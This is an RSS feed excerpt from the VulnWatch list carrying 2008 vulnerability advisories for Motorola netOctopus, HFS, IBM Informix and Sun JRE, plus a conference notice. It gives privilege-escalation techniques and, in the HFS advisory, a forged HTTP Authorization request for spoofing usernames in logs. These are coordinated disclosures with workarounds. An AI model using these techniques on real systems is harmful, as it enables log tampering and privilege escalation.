<title>[VulnWatch] iDefense Security Advisory 01.07.08: Motorola netOctopus Agent MSR Write Privilege Escalation Vulnerability</title>
<link>http://lists.jammed.com/vulnwatch/2008/01/0003.html</link>
<description><![CDATA[<BR />
iDefense Security Advisory 01.07.08<BR />
<a href="http://labs.idefense.com/intelligence/vulnerabilities/">http://labs.idefense.com/intelligence/vulnerabilities/</a><BR />
Jan 07, 2008<BR />
<BR />
I. BACKGROUND<BR />
<BR />
Motorola netOctopus is an asset management agent. It is used to deploy<BR />
software, monitor performance, and configure client machines from a<BR />
central administrative console. More information can be found on the<BR />
vendor's site at the following URL.<BR />
<BR />
<a href="http://www.netopia.com/software/products/netoctopus/">http://www.netopia.com/software/products/netoctopus/</a><BR />
<BR />
II. DESCRIPTION<BR />
<BR />
Local exploitation of a privilege escalation vulnerability in Motorola<BR />
Inc.'s netOctopus could allow an attacker to execute arbitrary code in<BR />
kernel context.<BR />
<BR />
The netOctopus Agent software is supposed to be installed on all client<BR />
machines. It includes a driver, nantsys.sys, that is loaded at system<BR />
boot time. This driver exposes a device interface, \\.\NantSys, that is<BR />
writable by all users.<BR />
<BR />
This driver includes functionality for reading and writing arbitrary CPU<BR />
Model Specific Registers (MSRs). Changing MSR values allows tuning of<BR />
various low level CPU operations. By modifying SYSENTER_EIP_MSR, is is<BR />
possible to execute arbitrary attacker supplied code in kernel context<BR />
by executing a sysenter instruction.<BR />
<BR />
III. ANALYSIS<BR />
<BR />
Exploitation of this vulnerability results in the execution of arbitrary<BR />
code in kernel context. Unsuccessful attempts may result in a system<BR />
crash. However, due to the nature of the vulnerability exploitation is<BR />
extremely reliable.<BR />
<BR />
IV. DETECTION<BR />
<BR />
iDefense has confirmed the existence of this vulnerability in version<BR />
5.0.0.115 of the nantsys.sys driver as included with netOctopus version<BR />
5.1.2 build 1011. Previous versions may also be affected.<BR />
<BR />
V. WORKAROUND<BR />
<BR />
Remove write permissions for the Everyone group for the \\.\NantSys<BR />
device. This can be accomplished by using a tool like WinObj. This will<BR />
prevent regular users from writing to the device.<BR />
<BR />
VI. VENDOR RESPONSE<BR />
<BR />
To address this vulnerability, Motorola Inc. has made a script available<BR />
to remove the affected driver from the system. For more information,<BR />
consult their advisory at the following URL.<BR />
<BR />
<a href="http://www.netopia.com/support/software/technotes/netoctopus/Removing_the_nantsys_Driver.pdf">http://www.netopia.com/support/software/technotes/netoctopus/Removing_the_nantsys_Driver.pdf</a><BR />
<a href="http://www.netopia.com/support/software/technotes/netoctopus/removeNantsys.vbs">http://www.netopia.com/support/software/technotes/netoctopus/removeNantsys.vbs</a><BR />
<BR />
VII. CVE INFORMATION<BR />
<BR />
The Common Vulnerabilities and Exposures (CVE) project has assigned the<BR />
name CVE-2007-5761 to this issue. This is a candidate for inclusion in<BR />
the CVE list (<a href="http://cve.mitre.org/">http://cve.mitre.org/</a>), which standardizes names for<BR />
security problems.<BR />
<BR />
VIII. DISCLOSURE TIMELINE<BR />
<BR />
09/07/2007  Initial vendor notification<BR />
09/07/2007  Initial vendor response<BR />
01/07/2008  Coordinated public disclosure<BR />
<BR />
IX. CREDIT<BR />
<BR />
This vulnerability was reported to iDefense by Stephen Fewer of Harmony<BR />
Security (www.harmonysecurity.com).<BR />
<BR />
Get paid for vulnerability research<BR />
<a href="http://labs.idefense.com/methodology/vulnerability/vcp.php">http://labs.idefense.com/methodology/vulnerability/vcp.php</a><BR />
<BR />
Free tools, research and upcoming events<BR />
<a href="http://labs.idefense.com/">http://labs.idefense.com/</a><BR />
<BR />
X. LEGAL NOTICES<BR />
<BR />
Copyright © 2008 iDefense, Inc.<BR />
<BR />
Permission is granted for the redistribution of this alert<BR />
electronically. It may not be edited in any way without the express<BR />
written consent of iDefense. If you wish to reprint the whole or any<BR />
part of this alert in any other medium other than electronically,<BR />
please e-mail customerservice@private for permission.<BR />
<BR />
Disclaimer: The information in the advisory is believed to be accurate<BR />
at the time of publishing based on currently available information. Use<BR />
of the information constitutes acceptance for use in an AS IS condition.<BR />
 There are no warranties with regard to this information. Neither the<BR />
author nor the publisher accepts any liability for any direct,<BR />
indirect, or consequential loss or damage arising from use of, or<BR />
reliance on, this information.<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Mon, 07 Jan 2008 16:09:53 -0500</pubDate>
<author>iDefense Labs</author>
</item>
<item>
<title>[VulnWatch] Source Boston 2008 security con, March 12-14</title>
<link>http://lists.jammed.com/vulnwatch/2008/02/0007.html</link>
<description><![CDATA[<BR />
There is a new security con coming up that I wanted to let people know<BR />
about.  I am on the advisory committee and I will be speaking as part of<BR />
the L0pht reunion panel.  The conference is Source Boston and it will be<BR />
occuring March 12-14 in Boston, Ma a few days before St. Patrick's Day.<BR />
So not only will there be great speakers but a Boston style pub crawl.<BR />
<BR />
There is a great line up of speakers both from the technical side and the<BR />
business side so if you have any entrepreneurial inklings this should be<BR />
the perfect con for you.<BR />
<BR />
Here is the schedule: <a href="http://www.sourceboston.com/sessions/">http://www.sourceboston.com/sessions/</a><BR />
<BR />
I hope to see you there!<BR />
<BR />
-Chris<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Tue, 19 Feb 2008 10:57:35 -0500 (EST)</pubDate>
<author>Chris Wysopal</author>
</item>
<item>
<title>[VulnWatch] Syhunt: HFS (HTTP File Server) Username Spoofing and Log Forging/Injection Vulnerability</title>
<link>http://lists.jammed.com/vulnwatch/2008/01/0009.html</link>
<description><![CDATA[<BR />
Syhunt: HFS (HTTP File Server) Username Spoofing and Log<BR />
Forging/Injection Vulnerability<BR />
<BR />
Advisory-ID: 200801163<BR />
Discovery Date: 1.16.2008<BR />
Release Date: 1.23.2008<BR />
Affected Applications: HFS 1.5g to and including 2.3(Beta Build<BR />
#174); and possibly HFS version 1.5f<BR />
Non-Affected Applications: HFS 1.5e and earlier versions<BR />
Class: Log Forging/Injection, Username Spoofing<BR />
Status: Patch available/Vendor informed<BR />
Vendor: Massimo Melina<BR />
Vendor URL: <a href="http://www.rejetto.com/hfs">http://www.rejetto.com/hfs</a> -or- hfs.sourceforge.net<BR />
<BR />
The Common Vulnerabilities and Exposures (CVE) project has<BR />
assigned the following CVEs to these vulnerabilities:<BR />
* CVE-2008-0407 - Username Spoofing Vulnerability<BR />
* CVE-2008-0408 - Log Forging / Injection Vulnerability<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Overview:<BR />
HFS is a very popular open source HTTP server designed for<BR />
easily sharing files. According to information on the official<BR />
website, the HTTP File Server software has been downloaded about<BR />
2 million times.<BR />
<BR />
Description:<BR />
HFS versions 1.5g to 2.3 Beta (and possibly version 1.5f) are<BR />
vulnerable to log forging and username spoofing vulnerabilities.<BR />
Remote attackers can appear to be logged in with any desired<BR />
username or perform log injection in the log file and GUI panel.<BR />
Technical details are included below.<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Details (Replicating the issues):<BR />
1) Log Forging / Injection Vulnerability<BR />
<a href="http://www.syhunt.com/advisories/hfshack.txt">http://www.syhunt.com/advisories/hfshack.txt</a><BR />
See the &quot;maniplog&quot; command<BR />
<BR />
maniplog [localfilename]<BR />
This will inject the content of [localfilename] to the HFS log<BR />
panel and file.<BR />
<BR />
2) Username Spoofing Vulnerability<BR />
a. Login at http://[host]/~login as [user_x]. Then request<BR />
(using a web browser): http://[user_y]:[anywrongpwd]@[host]/<BR />
--or--<BR />
b. send a direct request in the following format (does not<BR />
require previous login):<BR />
GET / HTTP/1.1<BR />
(...)<BR />
Authorization: Basic dXNlcl95<BR />
<BR />
Both alternatives could make an admin to believe that user Y has<BR />
made the HTTP request when reviewing logs.<BR />
<BR />
Additional Considerations:<BR />
* Vulnerabilities described here will not allow browsing<BR />
protected files and folders.<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Vulnerability Status:<BR />
The author was contacted and HFS version 2.2c was released. The<BR />
new version can be downloaded at www.rejetto.com/hfs/download or<BR />
via the &quot;Check for news/updates&quot; option in the HFS menu.<BR />
<BR />
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta<BR />
build.<BR />
<BR />
HFS 2.3 Beta is only affected if the option &quot;Accept any login<BR />
for unprotected resources&quot; is enabled. This option, introduced<BR />
in this version, is disabled by default.<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Credit:<BR />
Felipe Aragon and Alec Storm<BR />
Syhunt Security Research Team, www.syhunt.com<BR />
<BR />
---<BR />
<BR />
Copyright © 2008 Syhunt Security<BR />
<BR />
Disclaimer:<BR />
The information in this advisory is provided &quot;as is&quot; without<BR />
warranty of any kind. Details provided are strictly for<BR />
educational and defensive purposes.<BR />
<BR />
Syhunt is not liable for any damages caused by direct or<BR />
indirect use of the information provided by this advisory.<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Wed, 23 Jan 2008 15:50:57 -0200</pubDate>
<author>Alec Storm</author>
</item>
<item>
<title>[VulnWatch] iDefense Security Advisory 01.31.08: IBM Informix Dynamic Server SQLIDEBUG File Creation Vulnerability</title>
<link>http://lists.jammed.com/vulnwatch/2008/02/0002.html</link>
<description><![CDATA[<BR />
iDefense Security Advisory 01.31.08<BR />
<a href="http://labs.idefense.com/intelligence/vulnerabilities/">http://labs.idefense.com/intelligence/vulnerabilities/</a><BR />
Jan 31, 2008<BR />
<BR />
I. BACKGROUND<BR />
<BR />
IBM Corp.'s Informix Dynamic Server is an online transaction processing<BR />
data server. For more information, visit the product's homepage at the<BR />
following URL.<BR />
<BR />
<a href="http://www-306.ibm.com/software/data/informix/ids/">http://www-306.ibm.com/software/data/informix/ids/</a><BR />
<BR />
II. DESCRIPTION<BR />
<BR />
Local exploitation of a file creation vulnerability in IBM Corp.'s<BR />
Informix Dynamic Server allows attackers to elevate privileges to root.<BR />
<BR />
When the SQLIDEBUG environment variable is set, several set-uid binaries<BR />
will log debugging information to the specified file.<BR />
<BR />
III. ANALYSIS<BR />
<BR />
Exploitation allows local attackers to gain root privileges.<BR />
<BR />
After creating the file, the file's ownership is changed to match the<BR />
user and group of the executing user. As such, an attacker could create<BR />
files that they own anywhere on the system.<BR />
<BR />
IV. DETECTION<BR />
<BR />
iDefense confirmed the existence of this vulnerability in IBM Corp.'s<BR />
Informix Dynamic Server version 10.00 UC6TL installed on a Linux<BR />
system. Other versions are also suspected as vulnerable. Versions for<BR />
other supported Unix systems should also be considered vulnerable.<BR />
<BR />
V. WORKAROUND<BR />
<BR />
Removing the set-uid bit from all programs included with Informix will<BR />
prevent exploitation. However, this could disable some functionality<BR />
for non-root users.<BR />
<BR />
VI. VENDOR RESPONSE<BR />
<BR />
IBM Corp. has addressed this vulnerability with the release of version<BR />
10.00.xC8 of Informix Dynamic Server. For more information, visit the<BR />
following URL.<BR />
<BR />
<a href="http://www-1.ibm.com/support/docview.wss?uid=swg27011556">http://www-1.ibm.com/support/docview.wss?uid=swg27011556</a><BR />
<BR />
VII. CVE INFORMATION<BR />
<BR />
The Common Vulnerabilities and Exposures (CVE) project has assigned the<BR />
name CVE-2008-0369 to this issue. This is a candidate for inclusion in<BR />
the CVE list (<a href="http://cve.mitre.org/">http://cve.mitre.org/</a>), which standardizes names for<BR />
security problems.<BR />
<BR />
VIII. DISCLOSURE TIMELINE<BR />
<BR />
09/01/2007  Initial vendor notification<BR />
09/13/2007  Initial vendor response<BR />
01/31/2008  Coordinated public disclosure<BR />
<BR />
IX. CREDIT<BR />
<BR />
The discoverer of this vulnerability wishes to remain anonymous.<BR />
<BR />
Get paid for vulnerability research<BR />
<a href="http://labs.idefense.com/methodology/vulnerability/vcp.php">http://labs.idefense.com/methodology/vulnerability/vcp.php</a><BR />
<BR />
Free tools, research and upcoming events<BR />
<a href="http://labs.idefense.com/">http://labs.idefense.com/</a><BR />
<BR />
X. LEGAL NOTICES<BR />
<BR />
Copyright © 2008 iDefense, Inc.<BR />
<BR />
Permission is granted for the redistribution of this alert<BR />
electronically. It may not be edited in any way without the express<BR />
written consent of iDefense. If you wish to reprint the whole or any<BR />
part of this alert in any other medium other than electronically,<BR />
please e-mail customerservice@private for permission.<BR />
<BR />
Disclaimer: The information in the advisory is believed to be accurate<BR />
at the time of publishing based on currently available information. Use<BR />
of the information constitutes acceptance for use in an AS IS condition.<BR />
 There are no warranties with regard to this information. Neither the<BR />
author nor the publisher accepts any liability for any direct,<BR />
indirect, or consequential loss or damage arising from use of, or<BR />
reliance on, this information.<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Mon, 04 Feb 2008 14:48:20 -0500</pubDate>
<author>iDefense Labs</author>
</item>
<item>
<title>[VulnWatch] Corsaire Security Advisory: Sun J2RE DoS issue</title>
<link>http://lists.jammed.com/vulnwatch/2008/01/0004.html</link>
<description><![CDATA[<BR />
-- Corsaire Security Advisory --<BR />
<BR />
Title: Sun J2RE DoS issue<BR />
Date: 05.09.06<BR />
Application: Sun JRE 5.0 prior to update 14<BR />
Environment: Sun JRE<BR />
Author: Martin O'Neal [martin.oneal@private]<BR />
Audience: General distribution<BR />
Reference: c060905-002<BR />
<BR />
<BR />
-- Scope --<BR />
<BR />
The aim of this document is to clearly define an issue that exists with <BR />
the Sun JRE product [1] that will allow an attacker to cause the JRE and <BR />
Internet Explorer to fail, possibly losing unsaved work etc.<BR />
<BR />
<BR />
-- History --<BR />
<BR />
Discovered: 05.09.06 (Martin O'Neal)<BR />
Vendor notified: 09.11.06<BR />
Additional analysis: (Kevin O'Reilly)<BR />
Document released: 08.01.08<BR />
<BR />
<BR />
-- Overview --<BR />
<BR />
Sun JRE is described [1] as &quot;the Java APIs, Java Virtual Machine <BR />
(HotSpot VM), and other components necessary to run applets and <BR />
applications written in the Java programming language&quot;.<BR />
 <BR />
The software provides a virtualisation layer that allows java <BR />
applications to be run across platforms and operating systems.  These <BR />
java applications can be delivered to the JVM via a number of <BR />
mechanisms, and are commonly downloaded from a web server or less <BR />
commonly, can be embedded within HTML content.<BR />
<BR />
<BR />
-- Analysis --<BR />
<BR />
The RFC2397 [2] standard allows for the encoding of java applets within <BR />
a URI, allowing it to be embedded in an HTML document.  <BR />
<BR />
If an applet is encoded into the data parameter of an object tag with an <BR />
undefined &quot;name&quot; attribute, and is then passed to Internet Explorer, <BR />
then when the application is unencoded and passed in turn to the JVM it <BR />
causes a null pointer exception to occur in jpiexp32.dll. <BR />
<BR />
<BR />
-- Recommendations --<BR />
<BR />
Upgrade to a version of the Sun JRE product that does not exhibit this <BR />
issue (such as Sun JRE 6.0 or JRE 5.0 update 14), and uninstall all <BR />
effected versions.  This is important, as it is possible for an attacker <BR />
to specify which local VM will be used to run an applet (and so select a <BR />
vulnerable version).<BR />
<BR />
<BR />
-- CVE --<BR />
<BR />
The Common Vulnerabilities and Exposures (CVE) project has assigned the <BR />
name CVE-2007-0012 to this issue.  This is a candidate for inclusion in <BR />
the CVE list (<a href="http://cve.mitre.org">http://cve.mitre.org</a>), which standardises names for <BR />
security problems.<BR />
<BR />
<BR />
-- References --<BR />
<BR />
[1] <a href="http://java.sun.com/javase/">http://java.sun.com/javase/</a><BR />
[2] <a href="http://www.ietf.org/rfc/rfc2397">http://www.ietf.org/rfc/rfc2397</a><BR />
<BR />
This bug is tracked by Sun as 6511363.<BR />
<BR />
<BR />
-- Revision --<BR />
<BR />
a. Initial release.<BR />
<BR />
<BR />
-- Distribution --<BR />
<BR />
The information contained within this advisory is supplied &quot;as-is&quot; with <BR />
no warranties or guarantees of fitness of use or otherwise. Corsaire <BR />
accepts no responsibility for any damage caused by the use or misuse of <BR />
this information.<BR />
<BR />
<BR />
-- Disclaimer --<BR />
<BR />
The information contained within this advisory is supplied &quot;as-is&quot; with <BR />
no warranties or guarantees of fitness of use or otherwise. Corsaire <BR />
accepts no responsibility for any damage caused by the use or misuse of <BR />
this information.<BR />
<BR />
<BR />
-- About Corsaire --<BR />
<BR />
Corsaire are a leading information security consultancy, founded in 1997 <BR />
in Guildford, Surrey, UK. Corsaire bring innovation, integrity and <BR />
analytical rigour to every job, which means fast and dramatic security <BR />
performance improvements. Our services centre on the delivery of <BR />
information security planning, assessment, implementation, management <BR />
and vulnerability research. <BR />
<BR />
A free guide to selecting a security assessment supplier is available at <BR />
<a href="http://www.penetration-testing.com">http://www.penetration-testing.com</a> <BR />
<BR />
<BR />
Copyright 2006 Corsaire Limited. All rights reserved. <BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Tue, 8 Jan 2008 12:36:32 -0000</pubDate>
<author>advisories</author>
</item>
<item>
<title>[VulnWatch] iDefense Security Advisory 01.31.08: IBM Informix Dynamic Server onedcu File Creation Vulnerability</title>
<link>http://lists.jammed.com/vulnwatch/2008/02/0003.html</link>
<description><![CDATA[<BR />
iDefense Security Advisory 01.31.08<BR />
<a href="http://labs.idefense.com/intelligence/vulnerabilities/">http://labs.idefense.com/intelligence/vulnerabilities/</a><BR />
Jan 31, 2008<BR />
<BR />
I. BACKGROUND<BR />
<BR />
IBM Corp.'s Informix Dynamic Server is an online transaction processing<BR />
data server. For more information, visit the product's homepage at the<BR />
following URL.<BR />
<BR />
<a href="http://www-306.ibm.com/software/data/informix/ids/">http://www-306.ibm.com/software/data/informix/ids/</a><BR />
<BR />
II. DESCRIPTION<BR />
<BR />
Local exploitation of a file creation vulnerability in IBM Corp.'s<BR />
Informix Dynamic Server allows attackers to elevate privileges to root.<BR />
<BR />
The set-uid root &quot;onedcu&quot; command requires six parameters to be<BR />
specified when it is executed. The second parameter is a &quot;Trace&quot; file<BR />
that this program will open and write to with elevated privileges.<BR />
<BR />
III. ANALYSIS<BR />
<BR />
Exploitation allows local attackers to gain root privileges.<BR />
<BR />
IV. DETECTION<BR />
<BR />
iDefense confirmed the existence of this vulnerability in IBM Corp.'s<BR />
Informix Dynamic Server version 10.00 UC6TL installed on a Linux<BR />
system. Other versions are also suspected as vulnerable. Versions for<BR />
other supported Unix systems should also be considered vulnerable.<BR />
<BR />
V. WORKAROUND<BR />
<BR />
Removing the set-uid bit from the &quot;onedcu&quot; program included with<BR />
Informix will prevent exploitation. However, this could disable some<BR />
functionality for non-root users.<BR />
<BR />
VI. VENDOR RESPONSE<BR />
<BR />
IBM Corp. has addressed this vulnerability with the release of version<BR />
10.00.xC8 of Informix Dynamic Server. For more information, visit the<BR />
following URL.<BR />
<BR />
<a href="http://www-1.ibm.com/support/docview.wss?uid=swg27011556">http://www-1.ibm.com/support/docview.wss?uid=swg27011556</a><BR />
<BR />
VII. CVE INFORMATION<BR />
<BR />
The Common Vulnerabilities and Exposures (CVE) project has assigned the<BR />
name CVE-2008-0368 to this issue. This is a candidate for inclusion in<BR />
the CVE list (<a href="http://cve.mitre.org/">http://cve.mitre.org/</a>), which standardizes names for<BR />
security problems.<BR />
<BR />
VIII. DISCLOSURE TIMELINE<BR />
<BR />
09/01/2007  Initial vendor notification<BR />
09/13/2007  Initial vendor response<BR />
01/31/2008  Coordinated public disclosure<BR />
<BR />
IX. CREDIT<BR />
<BR />
The discoverer of this vulnerability wishes to remain anonymous.<BR />
<BR />
Get paid for vulnerability research<BR />
<a href="http://labs.idefense.com/methodology/vulnerability/vcp.php">http://labs.idefense.com/methodology/vulnerability/vcp.php</a><BR />
<BR />
Free tools, research and upcoming events<BR />
<a href="http://labs.idefense.com/">http://labs.idefense.com/</a><BR />
<BR />
X. LEGAL NOTICES<BR />
<BR />
Copyright © 2008 iDefense, Inc.<BR />
<BR />
Permission is granted for the redistribution of this alert<BR />
electronically. It may not be edited in any way without the express<BR />
written consent of iDefense. If you wish to reprint the whole or any<BR />
part of this alert in any other medium other than electronically,<BR />
please e-mail customerservice@private for permission.<BR />
<BR />
Disclaimer: The information in the advisory is believed to be accurate<BR />
at the time of publishing based on currently available information. Use<BR />
of the information constitutes acceptance for use in an AS IS condition.<BR />
 There are no warranties with regard to this information. Neither the<BR />
author nor the publisher accepts any liability for any direct,<BR />
indirect, or consequential loss or damage arising from use of, or<BR />
reliance on, this information.<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Mon, 04 Feb 2008 14:49:53 -0500</pubDate>
<author>iDefense Labs</author>
</item>
</channel></rss>
